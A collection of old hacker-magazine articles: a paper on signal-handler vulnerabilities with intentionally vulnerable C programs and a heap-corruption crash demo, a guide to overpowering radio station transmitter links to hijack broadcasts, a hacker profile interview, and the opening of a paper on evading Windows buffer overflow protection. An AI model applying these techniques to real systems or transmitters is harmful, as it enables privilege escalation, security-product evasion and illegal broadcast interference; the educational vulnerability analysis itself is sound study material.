The Internet community continues to wait for widespread adoption of cryptographic digital signatures used to authenticate DNS transactions, as discussed in RFC 2535 (Domain Name System Security Extensions). In the meantime, the threat of DNS spoofing attacks could be minimised by Microsoft improving the DNS implementation in all of their affected operating systems. Such improvements include using random transaction ID values, checking that the name in a DNS reply matches the name to be resolved in the DNS request, and using a random source port for DNS requests. These improvements would make attacks against DNS client resolvers significantly more difficult to perform, and such improvements would not violate the RFC guidelines.

```
|=====|  
|=====|
```

```
#####  
# Injecting signals for Fun and Profit #  
#####
```

by shaun2k2 <shaunige@yahoo.co.uk>

--[1 - Introduction

More secure programming is on the rise, eliminating more generic program exploitation vectors, such as stack-based overflows, heap overflows and symlink bugs. Despite this, subtle vulnerabilities are often overlooked during code audits, leaving so-called "secure" applications vulnerable to attack, but in a less obvious manner. Secure design of signal-handlers is often not considered, but I believe that this class of security holes deserves just as much attention as more generic classes of bugs, such as buffer overflow bugs.

This paper intends to discuss problems faced when writing signal-handling routines, how to exploit the problems, and presents ideas of how to avoid such issues. A working knowledge of the C programming language and UNIX-like operating systems would benefit the reader greatly, but is certainly not essential.

--[2 - Signal Handling: An Overview

To understand what signal handlers are, one must first know what exactly a signal is. In brief, signals are notifications delivered to a process to alert the given process about "important" events concerning itself. For example, users of an application can send signals using common keyboard Ctrl combinations, such as Ctrl-C - which will send a SIGINT signal to the given process.

Many different signals exist, but some of the more common (or useful) ones are: SIGINT, SIGHUP, SIGKILL, SIGABRT, SIGTERM and SIGPIPE. Many more exist, however. A list of available signals, according to the POSIX.1 standard, can be found in the unix manual page `signal(7)`.

It is worth noting that the signals SIGKILL and SIGSTOP cannot be handled, ignored or blocked. Their 'action' can not be changed.

"What are signal handlers", one might ask. The simple answer is that signal handlers are small routines which are typically called when a pre-defined signal, or set of signals, is delivered to the process it is running under before the end of program execution - after execution flow has been directed to a signal handling function, all instructions within the handler are executed in turn. In larger applications, however, signal handling routines are often written to complete a more complex set of tasks to ensure clean termination of the program, such as; unlinking of temporary files, freeing of memory buffers, appending log messages, and freeing file descriptors and/or sockets. Signal handlers are generally defined as ordinary program functions, and are then defined as the default handler for a certain signal usually near to the beginning of the program.

Consider the sample program below:

```
--- sigint.c ---
#include <stdio.h>
#include <signal.h>

void sighndlr() {
    printf("Ctrl-C caught!\n");
    exit(0);
}

int main() {
    signal(SIGINT, sighndlr);

    while(1)
        sleep(1);

    /* should never reach here */
    return(0);
}
--- EOF ---
```

'sigint.c' specifies that the function 'sighndlr' should be given control of execution flow when a SIGINT signal is received by the program. The program sleeps "forever", or until a SIGINT signal is received - in which case the "Ctrl-C caught!" message is printed to the terminal - as seen below:

```
--- output ---
[root@localhost shaun]# gcc test.c -o test
[root@localhost shaun]# ./test
[... program sleeps ...]
Ctrl-C caught!
[root@localhost shaun]#
--- EOF ---
```

Generally speaking, a SIGINT signal is delivered when a user hits the Ctrl-C combination at the keyboard, but a SIGINT signal can be generated by the `kill(1)` utility.

However simple or complex the signal handler is, there are several potential pitfalls which must be avoided during the development of the handler. Although a signal handler may look "safe", problems may still arise, but may be less-obvious to the unsuspecting eye. There are two main classes of problems when dealing with signal-handler development - non-atomic process modifications, and non-reentrant code, both of which are potentially critical to system security.

--[3 - Non-atomic Modifications

Since signals can be delivered at almost any moment, and privileges often need to be maintained (i.e root privileges in a SUID root application) for obvious reasons (i.e for access to raw sockets, graphical resources, etc), signal handling routines need to be written with extra care. If they are not, and special privileges are held by the process at the particular time of signal delivery, things could begin to go wrong very quickly. What is meant by 'non-atomic' is that the change in the program isn't permanent - it will just be in place temporarily. To illustrate this, we will discuss a sample vulnerable program.

Consider the following sample program:

```
--- atomicvuln.c ---
#include <stdio.h>
#include <signal.h>

void sighndlr() {
    printf("Ctrl-C caught!\n");
    printf("UID: %d\n", getuid());
    /* other cleanup code... */
}

int showuid() {
    printf("UID: %d\n", getuid());
    return(0);
}

int main() {
    int origuid = getuid();
    signal(SIGINT, sighndlr);

    setuid(0);
    sleep(5);

    setuid(origuid);

    showuid();
    return(0);
}
--- EOF ---
```

The above program should immediately spark up any security conscious programmer's paranoia, but the insecurity isn't immediately obvious to everyone. As we can see from above, a signal handler is declared for 'SIGINT', and the program gives itself root privileges (so to speak). After a delay of around five seconds, the privileges are revoked, and the program is exited with success. However, if a SIGINT signal is received, execution is directed to the SIGINT handler, 'sighndlr()'.

Let's look at some sample outputs:

```

--- output ---
[root@localhost shaun]# gcc test.c -o test
[root@localhost shaun]# chmod +s test
[root@localhost shaun]# exit
exit
[shaun@localhost shaun]$ ./test
[... program sleeps 5 seconds ...]
UID: 502
[shaun@localhost shaun]$ ./test
[... CTRL-C is typed ...]
Ctrl-C caught!
UID: 0
UID: 502
[shaun@localhost shaun]$
--- EOF ---

```

If you hadn't spotted the insecurity in 'atomicvuln.c' yet, the above output should make things obvious; since the signal handling routine, 'signdlr()', was called when root privileges were still possessed, the friendly printf() statements kindly tell us that our privileges are root (assuming the binary is SUID root). And just to prove our theory, if we simply allow the program to sleep for 5 seconds without sending an interrupt, the printf() statement kindly tells us that our UID is 502 - my actual UID - as seen above.

With this, it is easy to understand where the flaw lies; if program execution can be interrupted between the time when superuser privileges are given, and the time when superuser privileges are revoked, the signal handling code *will* be ran with root privileges. Just imagine - if the signal handling routine included potentially sensitive code, compromisation of root privileges could occur.

Although the sample program isn't an example of privilege escalation, it at least demonstrates how non-atomic modifications can present security issues when signal handling is involved. And do not assume that code similar to the sample program above isn't found in popular security critical applications in wide-spread use - it is. An example of vulnerable code similar to that of above which is an application in wide-spread use, see [1] in the bibliography.

Non-reentrant Code

#####

Although it may not be obvious (and it's not), some glibc functions just weren't designed to be reentered due to receipt of a signal, thus causing potential problems for signal handlers which use them. An example of such a function is the 'free()' function. According to 'free()'s man page, free()

"frees the memory space pointed to by ptr, which must have been returned by a previous call to malloc(), calloc() or realloc(). Otherwise, or if free(ptr) has already been called before, undefined behaviour occurs. If ptr is NULL, no operation is performed."

As the man page snippet claims, free() can only be used to release memory which was allocated using 'malloc()', else "undefined behavior" occurs. More specifically, or in usual cases, the heap is corrupted, if free() is called on a memory area which has already been free()d. Because of this implementation design, reentrant signal routines which use 'free()' can be attacked.

Consider the below sample vulnerable program:

```

--- reentry.c ---
#include <stdio.h>

```

```

#include <signal.h>
#include <syslog.h>
#include <string.h>
#include <stdlib.h>

void *data1, *data2;
char *logdata;

void sighdlr() {
    printf("Entered sighdlr()...\n");
    syslog(LOG_NOTICE, "%s\n", logdata);
    free(data2);
    free(data1);
    sleep(10);
    exit(0);
}

int main(int argc, char *argv[]) {
    logdata = argv[1];
    data1 = strdup(argv[2]);
    data2 = malloc(340);
    signal(SIGHUP, sighdlr);
    signal(SIGTERM, sighdlr);
    sleep(10);

    /* should never reach here */
    return(0);
}
--- EOF ---

```

The above program defines a signal handler which frees allocated heap memory, and sleeps for around 10 seconds. However, once the signal handler has been entered, signals are not blocked, and thus can still be freely delivered. As we learnt above, a duplicate call of `free()` on an already `free()`d memory area will result in "undefined behavior" - possibly corruption of the heap memory. As we can see, user-defined data is taken, and `syslog()` is also called from the sig handler function - but how does `syslog()` work? '`syslog()`' creates a memory buffer stream, using two `malloc()` invocations - the first one allocates a 'stream description structure', whilst the other creates a buffer suitable for the actual syslog message data. This basis is essentially used to maintain a temporary copy of the syslog message.

But why can this cause problems in context of co-usage of non-reentrant routines? To find the answer, let's experiment a little, by attempting to exploit the above program, which happens to be vulnerable.

```

--- output ---
[shaun@localhost shaun]$ ./test `perl -e 'print
"a"x100'` `perl -e 'print
"b"x410'` & sleep 1 ; killall -HUP test ; sleep 1 ;
killall -TERM test
[1] 2877
Entered sighdlr()...
Entered sighdlr()...
[1]+  Segmentation fault          (core dumped) ./test
`perl -e 'print "a"x100'`
`perl -e 'print "b"x410'`
[shaun@localhost shaun]$ gdb -c core.2877
GNU gdb 5.2.1-2mdk (Mandrake Linux)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General
Public License, and you are

```

```

welcome to change it and/or distribute copies of it
under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show
warranty" for details.
This GDB was configured as "i586-mandrake-linux-gnu".
Core was generated by `./test
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x4008e9bb in ?? ()
(gdb) info reg
eax                0x61616161                1633771873
ecx                0x40138680                1075021440
edx                0x6965fa38                1768290872
ebx                0x4013c340                1075036992
esp                0xbfffeccc                0xbfffeccc
ebp                0xbfffed0c                0xbfffed0c
esi                0x80498d8                134519000
edi                0x61616160                1633771872
eip                0x4008e9bb                0x4008e9bb
eflags             0x10206    66054
cs                 0x23    35
ss                 0x2b    43
ds                 0x2b    43
es                 0x2b    43
fs                 0x2b    43
gs                 0x2b    43
fctrl              0x0    0
fstat              0x0    0
ftag               0x0    0
fiseq              0x0    0
fioff              0x0    0
foseq              0x0    0
fooff              0x0    0
---Type <return> to continue, or q <return> to quit---
fop                0x0    0
xmm0               {f = {0x0, 0x0, 0x0, 0x0}}    {f = {0, 0, 0, 0}}
xmm1               {f = {0x0, 0x0, 0x0, 0x0}}    {f = {0, 0, 0, 0}}
xmm2               {f = {0x0, 0x0, 0x0, 0x0}}    {f = {0, 0, 0, 0}}
xmm3               {f = {0x0, 0x0, 0x0, 0x0}}    {f = {0, 0, 0, 0}}
xmm4               {f = {0x0, 0x0, 0x0, 0x0}}    {f = {0, 0, 0, 0}}
xmm5               {f = {0x0, 0x0, 0x0, 0x0}}    {f = {0, 0, 0, 0}}
xmm6               {f = {0x0, 0x0, 0x0, 0x0}}    {f = {0, 0, 0, 0}}
xmm7               {f = {0x0, 0x0, 0x0, 0x0}}    {f = {0, 0, 0, 0}}
mxcsr              0x0    0
orig_eax           0xffffffff    -1
(gdb) quit
[shaun@localhost shaun]$
--- EOF ---

```

Interesting. As we can see above, our large string of 'a's has found its way into several program registers on stack - EAX and EDI. From this, we can assume we are witnessing the "undefined behavior" we discussed earlier, when the signal handler is reentered.

When the sample vulnerable program receives the second signal (SIGTERM), since signals are not being ignored, the signal handler is reentered to handle this second signal, causing something to go very wrong. But why is this happening?

Since the second memory region (*data2) was free()'d during the first entry of the signal handler, syslog() re-uses this released memory for its own purposes - storing its syslog message, because as the short syslog()

explanation above stated, two malloc() calls are present in most syslog() implementations, and thus it re-uses the newly free()d memory - *data2. After the usage of the memory once held as data2 by syslog(), a second 'free()' call is made on the memory region, because of reentry of the signal handler function. As the free(3) man page stated, undefined behavior *will* occur if the memory area was already free()d, and we happen to know that this was the case. So when 'free()' was called again on *data2, free() landed somewhere in the area containing the 'a's (hence 0x61 in hex), because syslog() had re-used the freed area to store the syslog message, temporarily.

As the GDB output above illustrates, as long as user-input is used by 'syslog()' (and it is in this case), we have some control over the program registers, when this "undefined behavior" (corruption of heap in most cases) occurs. Because of this ability, exploitation is most likely a possibility - it is left as an exercise to the reader to play with this sample vulnerable program a little more, and determine if the vulnerability is exploitable.

For the interested reader, 'free()' is not the only non-reentrant glibc function. In general, it can be assumed that all glibc functions which are NOT included within the following list are non-reentrant, and thus are not safe to be used in signal handlers.

```
--
    _exit(2), access(2), alarm(3), cfgetispeed(3), cfgetospeed(3),
    cfsetispeed(3), cfsetospeed(3), chdir(2), chmod(2), chown(2),
    close(2), creat(3), dup(2), dup2(2), execle(3), execve(2),
    fcntl(2), fork(2), fpathconf(2), fstat(2), fsync(2), getegid(2),
    geteuid(2), getgid(2), getgroups(2), getpgrp(2), getpid(2),
    getppid(2), getuid(2), kill(2), link(2), lseek(2), mkdir(2),
    mkfifo(2), open(2), pathconf(2), pause(3), pipe(2), raise(3),
    read(2), rename(2), rmdir(2), setgid(2), setpgid(2), setsid(2),
    setuid(2), sigaction(2), sigaddset(3), sigdelset(3),
    sigemptyset(3), sigfillset(3), sigismember(3), signal(3),
    sigpause(3), sigpending(2), sigprocmask(2), sigsuspend(2),
    sleep(3), stat(2), sysconf(3), tcdrain(3), tcflow(3), tcflush(3),
    tcgetattr(3), tcgetpgrp(3), tcsendbreak(3), tcsetattr(3),
    tcsetpgrp(3), time(3), times(3), umask(2), uname(3), unlink(2),
    utime(3), wait(2), waitpid(2), write(2)."
```

--

Secure Signal Handling

#####

In general, signal handling vulnerabilities can be prevented by

--

1) Using only reentrant glibc functions within signal handlers -

This safe-guards against the possibility of "undefined behavior" or otherwise as presented in the above example. However, this isn't *always* feasible, especially when a programmers needs to accomplish tasks such as freeing memory.

Other counter-measures, in this case, can protect against this. See below.

2) ignoring signals during signal handling routines -

As the obvious suggests, this programming practice will indefinitely prevent handling of signals during the execution of signal handling routines, thus preventing signal handler reentry.

Consider the following signal handler template:

```
--- sighdlr.c ---
void sighdlr() {
    signal(SIGINT, SIG_IGN);
    signal(SIGABRT, SIG_IGN);
    signal(SIGHUP, SIG_IGN);
    /* ...ignore other signals ... */

    /* cleanup code here */

    exit(0);
}
--- EOF ---
```

As we can see above, signals are blocked before doing anything else in the signal handling routine. This guarantees against signal handler reentry (or almost does).

3) Ignoring signals whilst non-atomic process modifications are in place -

This involves blocking signals, in a similar way to the above code snippet, during the execution of code with non-atomic modifications in place, such as code execution with superuser privileges.

Consider the following code snippet:

```
--- nonatomicblock.c ---
/* code exec with non-atomic process modifications
starts here... */
signal(SIGINT, SIG_IGN);
signal(SIGABRT, SIG_IGN);
signal(SIGHUP, SIG_IGN);
/* block other signals if desired... */

setuid(0);
/* sensitive code here */

setuid(getuid());
/* sensitive code ends here */

signal(SIGINT, SIG_DFL);
signal(SIGABRT, SIG_DFL);
signal(SIGHUP, SIG_DFL);

/* ...code here... */
--- EOF ---
```

Before executing privileged code, signals are blocked. After execution of the privileged code, privileges are dropped, and the signal action is set back to the default action.

There are probably more ways of preventing signal vulnerabilities, but the three above should be enough to implement semi-safe signal handlers.

Conclusion
#####

I hope this paper has at least touched upon possible problems encountered when dealing with signals in C applications. If nothing else can be taken away from this paper, my aim is to have outlined that secure programming practices should always be applied when implementing signal handlers.
Full stop. Remember this.

If I have missed something out, given inaccurate information, or otherwise, please feel free to drop me a line at the email address at the top of the paper, providing your comments are nicely phrased.

Recommended reading is presented in the Bibliography below.

Bibliography

Recommended reading material is:

--
"Delivering Signals for Fun and Profit" -
<http://razor.bindview.com/publish/papers/signals.txt>,
Michal Zalewski. Michal's

paper was a useful resource when writing this paper, and many ideas were gained from this paper. Thanks Michal.

"Introduction To Unix Signals Programming" -
<http://users.actcom.co.il/~choo/lupg/tutorials/signals/signals-programming.html>,
LUGPs.

"Procmail insecure signal handling vulnerability" -
<http://xforce.iss.net/xforce/xfdb/6872>

"Traceroute signal handling vulnerability" -
<http://lwn.net/2000/1012/a/traceroute.php3>

"signal(2) man page" -
<http://techpubs.sgi.com/library/tpl/cgi-bin/getdoc.cgi?coll=linux&db=man&fname=/usr/share/catman/man2/signal.2.html&srch=signal>

"signal(7) man page" -
<http://techpubs.sgi.com/library/tpl/cgi-bin/getdoc.cgi?coll=linux&db=man&fname=/usr/share/catman/man7/signal.7.html&srch=signal>

--

Greetings
#####

Greetings to:

--
Friends at HDC (or former HDC members), excluded.org,
#hackcanada, all @ GSO,
rider (happy be-lated birthday!).

All the other great people that I have met online.
--

Thanks guys.

Thank you for your time.
Shaun.

```
|=====|  
|=====|  
  
|===== [ Pirating A Radio Station ]=====|  
by j kuinga" <kuinga@hotmail.com>
```

At many Radio Stations to cut costs they now do what is called "central casting." This is where many feeds are produced from one building and handled by a group of engineers.

Why is this important? You could, disrupt the broadcast from the Central Site, to the tower site, and ;\$create;" your own programming, without the hassles of buying a transmitter, getting the FCC licensing, and that type of thing. We're showing you two different ways to have some fun--by interrupting remote broadcasts, and by overtaking the radio station.

Radio Stations typically have ;\$Marti;" which are mini-transmitters, and Marti Repeaters, typically in the 425-455 MHz Range. Some Ham Transmitters will work in this range, and if not, check your local radio surplus store.

Marti;"s are typically used to rebroadcast High School Football and basketball games, as well as commercial "live events" and it;"s something as simple as over-powering the signal, in order to get your message through. Be forewarned, there typically is a live person on the other end of that transmitter;Xthey;"re probably not paying attention, because they;"re getting paid \$5.50/hour;Xbut, they have they ability to turn you off.

How to find the frequency? Well, you could always SE the engineer at the station and ask, however, most of them are grumpy old radio buffs, so you might not get anywhere. I suggest a good copy of ;\$Police Call;" which has a LOT of frequencies in there for things like radio stations.

I use a home-made setup for finding particular frequencies out. Having some essential tools like a good, directional antenna, frequency counter, and very accurate transmitter, along with breadboard and essential components, typically are common in finding what you need to know. I also drive a Big White Van, complete with Mast and Bucket, so I can optimally 'place' the antenna at the right height and direction, that I obtained at a school auction for really cheap. (e.g., under \$500, even had 18" racks in it and a nice generator)

Most Radio Stations doing this have what they call a ;\$STL;" or Studio to Transmitter Link. This is typically in the 800 or 900 Mhz range, and the same, general ideas apply. You find the general direction in which the antenna is pointed, then you overpower the signal. Since you (idealistically) would be within a few miles of the transmitter, not 30 or 50 miles like the Central-Casting spot, you would overpower the transmitter, and start your own pirate radio station. Most stations however, have an ;\$Air;" monitor, and can turn the remote transmitter off by pressing a button on their STL. However, if you;"re closer to it, you;"ve got control until the station engineer comes down to manually pull the plug on your transmitter.

If you see black vans with antennas and they look like they're doing sweeps, chances are, they're either a) with the audit crew of the local cable company, or b) looking for your ass.

kuinga@hotmail.com

|=[EOF]=====|

phrack.org:~# cat .bash_history

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x04 of 0x10

|===== [P R O P H I L E O N S C U T] =====|

|=====|

|===== [Phrack Staff] =====|

|=====[Specification

 Handle: scut

 AKA: "The Tower"

 Handle origin: Result of spelling "SCUD rocket" as a 12 year
 old when making up a handle

 catch him: by email scut@segfault.net

Age of your body: 23

 Produced in: West Germany

Height & Weight: 198cm, 85kg

 Urlz: segfault.net/~scut/

 Computers: COTS, anything goes ;)

 Member of: TESO

 Projects: exploitation methods, low level architecture
 wrangling, code analysis and transformation

|=====[Favorite things

 Women: intelligent, humorous, self-confident and caring

 Cars: BMW = fast, functional and reliable

 Foods: Chinese, German cake

Alcohol: Mixed drinks (Tequila + *), white wine

 Music: U2, 60-70'ies, ambient, new age

 Movies: Leon, Matrix

Books & Authors: I dislike fiction, various scientific books

 Urls: phrack.org/ ;-), citeseer.ist.psu.edu/directory.html

 I like: digging some problem to the deepest level

 I dislike: unjustified authorities, arrogance, ignorance

|=====[Life in 3 sentences

Born 1980, I just lived a normal peaceful life in Germany. Finished school,
high school quite well, went to the military service, started studying.
Currently I am studying abroad and thats possibly the most exciting experience
so far ;-)

|=====[Passions | What makes you tick

To create. In anything I do, I enjoy creating something and deepen my
understanding of it. Somehow, however, I lose interest as soon as I think I
could understand something completely, but that it would take too much effort.

|=====[Which research have you done or which one gave you the most fun?

Looking back on the few things I have done, I think it was always fun to
tickle people intellectually. The most fun was writing burneye, a simple
runtime binary encryption program. I learned lots while doing it and it had

some minor impact aswell. Also I wrote a paper about format string vulnerabilities. This was fun to write and back at that time everybody was very curious about this newly discovered class of security vulnerabilities. The basic work was already done and it was fun just to make a few steps further. While its always the case that you have to base your work on someone else's, sometimes you get the feeling of doing something truly new or creative. Then, its always fun.

|===== [Memorable Experiences

CCCamp 1999, when all TESO members first met eye-to-eye and where we had lots of fun together. Meeting interesting people, such as some of the ADM folks.

All the CCC congresses and all the fun that comes with them: friends, beer, and new contacts. Meeting the THC guys, having beer with wilkins and plasmoid.

|===== [Quotes

"The purpose of computing is insight, not numbers." - Richard W. Hamming

|===== [Open Interview - General boring questions

Q: When did you start to play with computers?

A: Due to my father working in the computing field I was lucky to first tap some keys at the age of six, around 1985. First hooked up through games I quickly liked the idea to control the machine myself and was fascinated to write my first BASIC program on the C64 when I was nine. This fascination has not decreased ever since, though the languages and computers changed a lot ;-)

Q: When did you had your first contact to the 'scene'?

A: As many of todays people in the hacking scene, the natural path leads through the warez and cracking realms. In 1995 I was browsing some BBS's and thats how I was drawn into that scene. Then, in the following two years, I moved away from Windows/Warez to more Linux/Programming, and more or less by end of 1997 I was completely into this thing.

Q: When did you for your first time connect to the internet?

A: Through the German Telekom BTX internet gateway, that must have been 1995.

Q: What other hobbies do you have?

A: Martial arts (currently Sanda Wushu, previously some Muaythai) and other sports, having fun with friends. Learning Chinese.

Q: ...and how long did it take until you joined irc? Do you remember the first channel you joined?

A: #warez.de in 1996 on IrcNet.

Q: What's your architecture / OS of choice?

A: IA32 with Debian/sid. Its constantly updated, the packagers know their stuff and its a system by and for developers. I love it.

|===== [Open Interview - More interesting questions

Q: Who founded TESO and what's the meaning of the name?

A: TESO was founded in 1998 by typo, edi, stanly and oxigen, some austrian hackers.

Q: What's TESO up to these days?

A: I would like to describe us as not active anymore. There are a couple of reasons for this. One is the natural shift of interest of members, such as

when growing up and having a daytime job. But more importantly, the most previously most active members do not release their work under the TESO label anymore. Sometime ago, we also had internal trust problems where we did not know who leaked our internal stuff. This lead to general distrust and some developing stopped or slowed due to that. Sad thing.

Q: You have helped phrack in many occasions. What do you think about Phrack?
What suggestions do you have for phrack?

A: I think phrack is the single best starting point for anyone seriously interested in learning how to become a real low level hacker. One could start ten issues in the past and gradually sharpen the skills to almost the today's cutting edge. The style, quality and focus of the articles is very diverse and always makes for an interesting read.

In the past year, Phrack started to work closer with the authors of the articles to produce higher quality articles for the readers. This is a great idea! Maybe further steps into this direction could follow.

For the article topics, I personally would like to see more articles on upcoming technologies to exploit, such as SOAP, web services, .NET, etc.

Q: What are you up to these days? How has the scene-life influenced your lifestyle, goals and personality?

A: Nowadays, I am more of a computer science student than a scene member. The scene did not change me so much. Its a great place to meet intelligent people and to discuss new ideas.

Q: You have been in the scene for quite a while. If you look back, what was the worst thing that happened to the scene? What was the best that happened?

A: The worst was a bad long term development with an even worse backlash: the commercialization of the network security field. When the Internet really boomed, everybody was out to make a buck from selling security related products and services. A lot of former hackers "sold out". While its their personal choice to work in the security business and such business is not necessarily evil, for the scene it wasn't all that great.

The worse result has been the gap between once united hackers. Some people drew a more or less arbitrary line of black-/whitehatism and started dividing the scene even further. The result you can see nowadays is that there are some separated groups in the scene piling up non public knowledge, while the "entry level skill" required to really be in the scene is increased and less people get into the scene. Those knowledgeable groups still have "whitehats" among their members, but nobody cares, because for the group it just works well and everybody within wins. On a wider scale, everybody loses and the cooperation and development of really creative new stuff is slowed and the scene shrinks.

Fresh talented people wanting to get into the scene have no choice but to found their own teams.

The best thing for the scene were and still are the hacker events organized all around the world. They are a great contact point of the hackers and to the outside world.

Q: If you could turn the clock backwards, what would you do different in your young life ?

A: Be more relaxed about people posting my stuff although I did not wanted it to be public. It just caused trouble for everybody and in the end its more a fault on my side than on theirs.

=====[One word comments

[give a 1-word comment to each of the words on the left]

IRC	: timeconsumptive
TESO	: dreamteam
ADM	: pioneers
Hacker meetings	: melting-pot
Whitehats	: do not always wear white hats
Blackhats	: do not always wear black hats

|=====[Please tell our audience a worst case scenario into what the scene might turn into.

The extension to the bad development that already took place and I described in an earlier answer would include more company driven actions and sell outs. Possibly the worst long term thing for the scene would be a decrease in the scene's lose "infrastructure", such as magazines and conferences. This could be the result of stricter laws against hackers and already takes place in some countries. Imagine if the typical hacker conferences would be outlawed or strictly observed. Imagine when magazines such as Phrack would be shutdown. Imagine if groups like THC and websites like Packetstorm would be shutdown. That would be a bad development.

|=====[And if everything works out fine? What's the best case scenario you can imagine?

The scene would be driven by discussions, new inventions, creative hacking stunts and a large number social events. Hackers would stick closer together, yet share more of their work, yet allowing newcomers to learn. People would not crawl for fame on mailing lists but would honestly respect each other.

To archieve this ideal, things that unite all hackers have to be valued more. All hackers share the enthusiasm for technology and creativity. Creativity is seldomly the result of sitting alone in a locked down room, but quite the opposite the result of many diverse ideas and discussions among intelligent people. If the environment hackers interact with each others in permits for exchange of ideas without getting ripped off by companies or other hackers, this would result in a great scene.

|=====[Any suggestions/comments/flames to the scene and/or specific people?

I think some young talents are really doing a great job. Keep going!

|=====[Shoutouts & Greetings

hendy, for being a long time trustable, reliable and humorous friend.
stealth, die andere Nase, for intellectual challenges and always coming up with really cool stuff.
Halvar, skyper, gamma for making the hacker events real fun and organizing everything.
lorian, for being a smart guy.
acpizer, for his wisdom and stubbornness.
The folks at THC and ADM for doing really cool stuff.

|=[EOF]=====|

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x05 of 0x10

```
|=====|
|-----[ Bypassing 3rd Party Windows Buffer Overflow Protection ]-----|
|=====|
|-----[ anonymous <p62_wbo_a@author.phrack.org > ]-----|
|-----[ Jamie Butler <james.butler@hbgary.com> ]-----|
|-----[ anonymous <p62_wbo_b@author.phrack.org > ]-----|
```

--[Contents

- 1 - Introduction
- 2 - Stack Backtracing
- 3 - Evading Kernel Hooks
 - 3.1 - Kernel Stack Backtracing
 - 3.2 - Faking Stack Frames
- 4 - Evading Userland Hooks
 - 4.1 - Implementation Problems - Incomplete API Hooking
 - 4.1.1 - Not Hooking all API Versions
 - 4.1.2 - Not Hooking Deeply Enough
 - 4.1.3 - Not Hooking Thoroughly Enough
 - 4.2 - Fun With Trampolines
 - 4.2.1 Patch Table Jumping
 - 4.2.2 Hook Hopping
 - 4.3 - Repatching Win32 APIs
 - 4.4 - Attacking Userland Components
 - 4.4.1 IAT Patching
 - 4.4.2 Data Section Patching
 - 4.5 - Calling Syscalls Directly
 - 4.6 - Faking Stack Frames
- 5 - Conclusions

--[1 - Introduction

Recently, a number of commercial security systems started to offer protection against buffer overflows. This paper analyzes the protection claims and describes several techniques to bypass the buffer overflow protection.

Existing commercial systems implement a number of techniques to protect against buffer overflows. Currently, stack backtracing is the most popular one. It is also the easiest to implement and the easiest to bypass.

Several commercial products such as Entercept (now NAI Entercept) and Okena (now Cisco Security Agent) implement this technique.

--[2 - Stack Backtracing

Most of the existing commercial security systems do not actually prevent buffer overflows but rather try to attempt to detect the execution of shellcode.

The most common technology used to detect shellcode is code page permission checking which involves checking whether code is executing on a writable page of memory. This is necessary since architectures such as x86 do not support the non-executable memory bit.

Some systems also perform additional checking to see whether code's page of memory belongs to a memory mapped file section and not to an anonymous memory section.

```
[-----]
```

```
    page = get_page_from_addr( code_addr );  
    if (page->permissions & WRITABLE)  
        return BUFFER_OVERFLOW;
```

```
    ret = page_originates_from_file( page );  
    if (ret != TRUE)  
        return BUFFER_OVERFLOW;
```

```
[-----]
```

Pseudo code for code page permission checking

Buffer overflow protection technologies (BOPT) that rely on stack backtracing don't actually create non-executable heap and stack segments. Instead they hook the OS and check for shellcode execution during the hooked API calls.

Most operating systems can be hooked in userland or in kernel.

Next section deals with evading kernel hooks, while section 4 deals with bypassing userland hooks.

--[3 - Evading Kernel Hooks

When hooking the kernel, Host Intrusion Prevention Systems (HIPS) must be able to detect where a userland API call originated. Due to the heavy use of kernel32.dll and ntdll.dll libraries, an API call is usually several stack frames away from the actual syscall trap call. For this reason, some intrusion preventions systems rely on using stack backtracing to locate the original caller of a system call.

----[3.1 - Kernel Stack Backtracing

While stack backtracing can occur from either userland or kernel, it is far more important for the kernel components of a BOPT than its userland components. The existing commercial BOPT's kernel components rely entirely on stack backtracing to detect shellcode execution. Therefore, evading a kernel hook is simply a matter of defeating the stack backtracing mechanism.

Stack backtracing involves traversing stack frames and verifying that the return addresses pass the buffer overflow detection tests described above. Frequently, there is also an additional "return into libc" check, which

involves checking that a return address points to an instruction immediately following a call or a jump. The basic operation of stack backtracing code, as used by a BOPT, is presented below.

```
[-----]

while (is_valid_frame_pointer( ebp )) {
    ret_addr = get_ret_addr( ebp );

    if (check_code_page(ret_addr) == BUFFER_OVERFLOW)
        return BUFFER_OVERFLOW;

    if (does_not_follow_call_or_jump_opcode(ret_addr))
        return BUFFER_OVERFLOW;

    ebp = get_next_frame( ebp );
}

[-----]
Pseudo code for BOPT stack backtracing
```

When discussing how to evade stack backtracing, it is important to understand how stack backtracing works on an x86 architecture. A typical stack frame looks as follows during a function call:

```
:
|-----|
| function B parameter #2 |
|-----|
| function B parameter #1 |
|-----|
| return EIP address      |
|-----|
| saved EBP               |
|=====|
| function A parameter #2 |
|-----|
| function A parameter #1 |
|-----|
| return EIP address      |
|-----|
| saved EBP               |
|-----|
:
```

The EBP register points to the next stack frame. Without the EBP register it is very hard, if not impossible, to correctly identify and trace through all the stack frames.

Modern compilers often omit the use of EBP as a frame pointer and use it as a general purpose register instead. With an EBP optimization, a stack frame looks as follows during a function call:

```
|-----|
| function parameter #2 |
|-----|
| function parameter #1 |
|-----|
| return EIP address    |
|-----|
```

Notice that the EBP register is not present on the stack. Without an EBP register it is not possible for the buffer overflow detection technologies

to accurately perform stack backtracing. This makes their task incredibly hard as a simple return into libc style attack will bypass the protection. Simply originating an API call one layer higher than the BOPT hook defeats the detection technique.

----[3.2 - Faking Stack Frames

Since the stack is under complete control of the shellcode, it is possible to completely alter its contents prior to an API call. Specially crafted stack frames can be used to bypass the buffer overflow detectors.

As was explained previously, the buffer overflow detector is looking for three key indicators of legitimate code: read-only page permissions, memory mapped file section and a return address pointing to an instruction immediately following a call or jmp. Since function pointers change calling semantics, BOPT do not (and cannot) check that a call or jmp actually points to the API being called. Most importantly, the BOPT cannot check return addresses beyond the last valid EBP frame pointer (it cannot stack backtrace any further).

Evading a BOPT is therefore simply a matter of creating a "final" stack frame which has a valid return address. This valid return address must point to an instruction residing in a read-only memory mapped file section and immediately following a call or jmp. Provided that the dummy return address is reasonably close to a second return address, the shellcode can easily regain control.

The ideal instruction sequence to point the dummy return address to is:

```
[-----]
dummy_return:    jmp     [eax] ; or call [eax], or another register
                  ...         ; some number of nops or easily
                           ; reversed instructions, e.g. inc eax
                  ret         ; any return will do, e.g. ret 8
[-----]
```

